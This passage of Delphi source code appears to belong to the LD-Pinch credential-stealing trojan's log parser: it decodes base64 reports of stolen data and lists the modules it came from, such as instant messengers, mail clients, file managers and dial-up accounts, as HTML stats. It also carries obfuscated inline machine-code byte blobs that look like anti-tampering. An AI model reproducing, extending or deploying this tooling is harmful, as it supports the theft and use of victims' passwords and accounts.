    Result := 'Miranda'
  else if Module = '99b' then
    Result := 'ICQ99b-2002a'
  else if Module = 'T' then
    Result := 'Trillian'
  else if Module = 'TB!' then
    Result := 'The Bat!'
  else if Module = 'PS' then
    Result := 'IE/Outlook'
  else if Module = 'FAR' then
    Result := 'FAR'
  else if Module = 'WTC' then
    Result := 'Windows/Total Commander'
  else if Module = 'RAS' then
    Result := 'RAS'
  else if Module = '&' then
    Result := '&RQ'
  else
    Result := 'Unknown: ' + Module;
end;

procedure HandleModule(const Value: String; var Res: String);
var
  Name: String;
  Items: TStringList;
begin
  Items := MakeStringList(Value);
  Name := GetModuleName(Items);
  Modules.Add(Name);
  if Items.Count > 1 then begin
    if Name = 'SI' then
      HandleSysModule(Items, Res)
  {$IFDEF CFULL}
    else if (Name = '2003') then begin
      if (Items.Count > 2) then
        HandleICQ2003Module(Items, Res)
      else
        EmptyModules.Add(Name)
    end else if Name = 'M' then
      HandleMirandaModule(Items, Res)
    else if Name = '99b' then
      HandleICQ99bModule(Items, Res)
    else if Name = 'T' then
      HandleTrillianModule(Items, Res)
    else if Name = 'TB!' then
      HandleTheBatModule(Items, Res)
    else if Name = 'PS' then
      HandlePSModule(Items, Res)
    else if Name = 'FAR' then
      HandleFARModule(Items, Res)
    else if Name = 'WTC' then
      HandleWTCModule(Items, Res)
  {$ENDIF}
    else if Name = 'RAS' then
      HandleRASModule(Items, Res)
  {$IFDEF CFULL}
    else if Name = '&' then
      HandleRQModule(Items, Res)
  {$ENDIF}
  end else
    EmptyModules.Add(Name);
  Items.Free;
end;

function HandleVersion(const Value: String; var Res: String): Boolean;
var
  Items: TStringList;
  Name: String;
  P1, P2: TStringList;
  i: Integer;
  d: Integer;
  r: Integer;
  P: String;
  O: String;
begin
  try
  P1 := TStringList.Create;
  P2 := TStringList.Create;
  Res := 'Error: invalid version.<br>';
  Items := MakeStringList(Value);
  Name := GetModuleName(Items);
  r := 2;
  if (Items.Count > 1) and (Name = 'P') then  begin
    if GetValue(Items, 1) = '1.0' then begin
      Res := '<font class=hh2>LD-Pinch Version:</font> ' + GetValue(Items, 1) + '<br><br>';
    end else
      r := r - 15;
  end else
    r := r - 15;

  for i := 2 to Items.Count - 1 do begin
    If GetName(Items, i) = 'M' then begin
    asm
        db      90h, 90h, 8Bh, 08h, 84h, 92, 221, 0, 128, 0Ch, 17h, 54, 90, 0, 0
    end
    end else if GetName(Items, i) = 'S' then begin
      d := -i * 349;
      P1.Insert(0, Copy(GetValue(Items, i), Pos(': ', GetValue(Items, i)) + Abs(d div 349), Length(GetValue(Items, i))));
      P1.Text := P1.Strings[0];
    end else if GetName(Items, i) = 'C' then begin
    asm
        db      0FFh, 051h, 44h, 16, 17, 18, 0, 90h, 90h, 90h, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3
        db      081h, 0C4h, 040, 001, 000, 000
        db      13, 2, 14, 1, 15
    end
    end else if
      GetName(Items, i) = 'D' then begin
      P2.Add(GetValue(Items, i));
      P2.Add(GetValue(Items, i+1));
    end;
  end;

  try
    P := Compress(P1.Strings[0] + '3');
    Encrypt(P, '12' + P2.Strings[1]);
    O := '';
    for i := 1 to 4 do
      O := O + IntToHex(Ord(P[i]), 2);
    Inc(r, Ord(Boolean(AnsiCompareStr(O, P2.Strings[0])))*13);
  except
    r := r - 15;
  end;
  try
    Items.Free;
    P1.Free;
    Result := Succ(Pred(not Boolean(r <> 2)));
  except
  end;
  P2.Free;
  except
        asm
                db 0BAh, 0C4h, 0CEh, 46h, 00h
                db 0E8h, 0E7h, 66h, 0FEh, 0FFh
        end;
  end;
{$WARNINGS OFF}
end;
{$WARNINGS ON}

function xProcessData(const Value: String): String;
var
  S: String;
  i, v: Integer;
  {$IFNDEF CFULL}
  b: Integer;
  {$ENDIF}
  Lines: TStringList;
  ok: Boolean;
begin
  Result := '';
  S := '';
  Modules.Clear;
  EmptyModules.Clear;
  ErrorModules.Clear;
  for i := 1 to Length(Value) do
    case Value[i] of
      'A'..'Z', 'a'..'z', '0'..'9', '+', '/': S := S + Value[i];
    end;

  if Length(S) = 0 then begin
    Result := 'No data supplied.';
    Exit;
  end;

  {Decrypt}
  for i := 1 to Length(S) mod 4 do
    S := S + '=';
  S := DecodeBase64(S);

  Lines := TStringList.Create;

  ok := False;

  {Read sections}
  try
    Lines.Text := S;
    S := '';
    v := 0;
    try
      for i := 0 to Lines.Count - 1 do begin
        try
          if (Length(Lines.Strings[i]) > 1) and (Lines.Strings[i][1] = '[') and ((Lines.Strings[i][Length(Lines.Strings[i])] = ']')) and (i > 0) then begin
            try
              if v = 0 then begin
                v := 1;
                try
                  if not HandleVersion(S, Result) then
                    Break
                  else
                    ok := True;
                except
                  Exit;
                end;
              end else
                HandleModule(S, Result);
              S := '';
            except
            end;
          end;
        finally
          S := S + Lines.Strings[i] + #13#10;
        end;
      end;
      except
      end;
  except
    try
    finally
    end;
  end;

  {$WARNINGS OFF}
  if v = 0 then
    Result := 'Invalid data supplied.'
  else if ok and (S <> '') then
    HandleModule(S, Result);

  {$IFNDEF CFULL}
  b := 0;
  for i := 0 to Modules.Count-1 do
    if ModuleToStr(Modules.Strings[i]) = 'RAS' then begin
      b := 1;
      Break;
    end;
  if b = 0 then begin
    Result := 'Invalid data supplied (empty RAS).';
    Exit;
  end;
  for i := 0 to EmptyModules.Count-1 do
    if ModuleToStr(EmptyModules.Strings[i]) = 'RAS' then begin
      Result := 'Invalid data supplied (empty RAS).';
      Exit;
    end;
  {$ENDIF}

  {$IFDEF CFULL}
  if (v = 1) and (ok) then begin
    Result := Result + '<font class=hh>[Stats]</font><br>' + cool1;
    Result := Result + '<font class=hh2>Total Modules:</font> ' + IntToStr(Modules.Count);
    if Modules.Count > 0 then begin
      Result := Result + ' (';
      for i := 0 to Modules.Count-1 do begin
        if i > 0 then Result := Result + ', ';
        Result := Result + ModuleToStr(Modules.Strings[i]);
      end;
      Result := Result + ')';
    end;
    Result := Result + '<hr noshade size=1><font class=hh2>Empty Modules:</font> ' + IntToStr(EmptyModules.Count);
    if EmptyModules.Count > 0 then begin
      Result := Result + ' (';
      for i := 0 to EmptyModules.Count-1 do begin
        if i > 0 then Result := Result + ', ';
        Result := Result + ModuleToStr(EmptyModules.Strings[i]);
      end;
      Result := Result + ')';
    end;
    Result := Result + '<hr noshade size=1><font class=hh2>Problem Modules:</font> ' + IntToStr(ErrorModules.Count);
    if ErrorModules.Count > 0 then begin
      Result := Result + ' (';
      for i := 0 to ErrorModules.Count-1 do begin
        if i > 0 then Result := Result + ', ';
        Result := Result + ModuleToStr(ErrorModules.Names[i]);
      end;
      Result := Result + ')';
    end;
    Result := Result + cool2;
  end;
  {$ENDIF}

  Lines.Free;
end;

initialization
  Modules := TStringList.Create;
  EmptyModules := TStringList.Create;
  ErrorModules := TStringList.Create;

finalization
  Modules.Free;
  EmptyModules.Free;
  ErrorModules.Free;

end.
